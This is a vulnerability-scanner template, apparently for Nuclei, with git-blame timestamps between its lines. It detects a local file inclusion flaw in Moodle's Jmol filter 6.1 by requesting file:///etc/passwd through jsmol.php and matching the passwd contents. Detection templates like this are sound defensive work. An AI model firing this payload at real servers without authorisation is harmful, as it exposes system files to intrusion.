2020-04-08 16:59:16 +00:00
|
|
|
id: moodle-filter-jmol-lfi
|
2020-05-24 22:19:21 +00:00
|
|
|
|
2020-04-08 12:47:16 +00:00
|
|
|
info:
|
2022-07-26 13:45:11 +00:00
|
|
|
name: Moodle Jmol Filter 6.1 - Local File Inclusion
|
2020-04-08 12:47:16 +00:00
|
|
|
author: madrobot
|
|
|
|
severity: high
|
2022-07-26 13:45:11 +00:00
|
|
|
description: Moodle is vulnerable to local file inclusion.
|
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/46881
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:F/RL:W/RC:C
|
|
|
|
cvss-score: 7.5
|
|
|
|
cwe-id: CWE-22
|
2021-02-12 05:53:01 +00:00
|
|
|
tags: moodle,lfi
|
2020-04-08 12:47:16 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd"
|
2020-07-08 11:38:57 +00:00
|
|
|
matchers-condition: and
|
2020-04-08 12:47:16 +00:00
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
2020-05-24 22:19:21 +00:00
|
|
|
- 200
|
2020-04-08 12:47:16 +00:00
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0:"
|
2020-04-08 12:47:16 +00:00
|
|
|
part: body
|
2022-07-26 13:45:11 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/07/22
|